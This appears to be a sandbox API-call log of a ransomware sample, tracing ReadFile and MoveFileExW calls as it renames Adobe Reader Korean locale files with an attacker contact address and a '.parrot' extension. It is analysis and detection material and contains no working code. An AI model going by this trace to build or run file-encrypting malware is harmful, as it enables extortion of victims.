[0259.640] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0259.645] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.645] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.646] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.646] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2400, lpOverlapped=0x0) returned 1 [0259.647] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.648] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\BRdlang32.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\brdlang32.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.689] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.692] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.693] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x15a00, lpOverlapped=0x0) returned 1 [0259.696] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.698] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.702] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0259.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.708] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.710] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.710] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x15400, lpOverlapped=0x0) returned 1 [0259.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.716] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DigSig.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\digsig.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32ae588 | out: hHeap=0x5b0000) returned 1 [0259.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.726] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.736] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3600, lpOverlapped=0x0) returned 1 [0259.738] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.739] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.743] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.746] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.747] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1800, lpOverlapped=0x0) returned 1 [0259.748] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.749] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\eBook.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ebook.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.752] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0259.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.755] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.759] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.759] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7e00, lpOverlapped=0x0) returned 1 [0259.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\EScript.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\escript.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.766] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x332a688 | out: hHeap=0x5b0000) returned 1 [0259.769] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.769] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.770] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.770] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xc00, lpOverlapped=0x0) returned 1 [0259.771] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.771] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\IA32.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ia32.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0259.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.778] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.780] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.780] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xbc00, lpOverlapped=0x0) returned 1 [0259.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.782] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\makeaccessible.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\makeaccessible.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0259.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.788] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.790] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf000, lpOverlapped=0x0) returned 1 [0259.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.792] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Multimedia.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\multimedia.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0259.797] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.797] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.799] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2400, lpOverlapped=0x0) returned 1 [0259.801] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.801] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\pddom.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\pddom.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x333ae48 | out: hHeap=0x5b0000) returned 1 [0259.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.804] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0259.806] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0259.806] ReadFile (in: hFile=0x288, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0259.811] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.811] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x59600, lpOverlapped=0x0) returned 1 [0259.820] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.883] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\PPKLITE.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\ppklite.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0259.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0259.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0259.891] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0260.036] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.036] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.037] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.038] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf9c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xf9c00, lpOverlapped=0x0) returned 1 [0260.101] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.151] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0260.162] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.162] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.164] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.164] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x2400, lpOverlapped=0x0) returned 1 [0260.165] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.166] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\ReadOutLoud.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\readoutloud.kor.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0260.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3323e88 | out: hHeap=0x5b0000) returned 1 [0260.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0260.170] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3326648 | out: hHeap=0x5b0000) returned 1 [0260.172] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0260.172] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0260.173] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.173] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1000, lpOverlapped=0x0) returned 1 [0260.174] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.174] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor.[cryptonationusa@protonmail.com].parrot"), 